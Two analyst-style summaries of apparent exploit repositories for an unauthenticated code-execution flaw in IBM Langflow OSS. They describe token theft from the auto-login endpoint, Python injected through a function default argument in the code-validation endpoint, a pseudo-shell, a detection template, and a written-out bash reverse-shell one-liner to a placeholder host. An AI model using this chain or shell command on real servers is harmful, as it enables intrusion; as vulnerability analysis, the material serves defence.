Code Validation API Endpoint RCE in IBM Langflow OSS

Repository contains a functional exploit for IBM Langflow OSS unauthenticated RCE, plus a Nuclei template for detection/verification. The main Python script CVE-2026-9198.py is the operational exploit: it normalizes a target URL, optionally defaults to http://<target>:7860, attempts unauthenticated token retrieval from /api/v1/auto_login, and then abuses /api/v1/validate/code by embedding attacker-controlled Python inside a function default argument so execution occurs during server-side exec(). Command output is exfiltrated by raising an exception containing subprocess.check_output() results and reading function.errors[0] from the response. The script supports three primary modes: single command execution, an interactive pseudo-shell that repeatedly issues commands and updates prompt context using whoami/pwd/echo $HOME, and a reverse shell mode that launches bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'. The YAML file is a Nuclei template that performs the same exploit chain in two HTTP requests: GET /api/v1/auto_login to extract a token, then POST /api/v1/validate/code with an id command and match uid/gid in the response. README.md documents installation, usage, examples, and mitigation. Overall, this is a real exploit repository, not just a detector; it provides unauthenticated RCE capability against vulnerable Langflow deployments where auto-login is enabled.

This repository is a small standalone Python exploit for IBM Langflow OSS unauthenticated RCE, consisting of only two files: a README and a single executable script (`exploit.py`). The exploit chains two vulnerabilities: CVE-2026-9103, where `/api/v1/auto_login` returns a superuser JWT to an unauthenticated caller when AUTO_LOGIN is enabled, and CVE-2026-8481, where `/api/v1/validate/code` executes attacker-controlled Python via `exec()` during code validation. The script first normalizes the target URL, then either uses a supplied bearer token or requests one from the auto_login endpoint. It submits a JSON body containing Python wrapped as a function default argument (`def _v(a=exec(...))`) so the payload executes at definition time when Langflow validates the code. For command execution, it runs shell commands through Python's `subprocess.check_output(..., shell=True, stderr=STDOUT)` and raises an exception containing the output, which Langflow reflects in `function.errors[0]`; the exploit parses that field and prints the result. Operational capabilities include default `id` execution for verification, arbitrary single-command execution, an interactive pseudo-shell that sends one request per command, and a bash reverse shell callback to an attacker-controlled host and port. The exploit uses only Python standard library modules (`argparse`, `json`, `sys`, `urllib.request`, `urllib.error`) and is clearly intended as a working offensive exploit rather than a detector or proof-only script.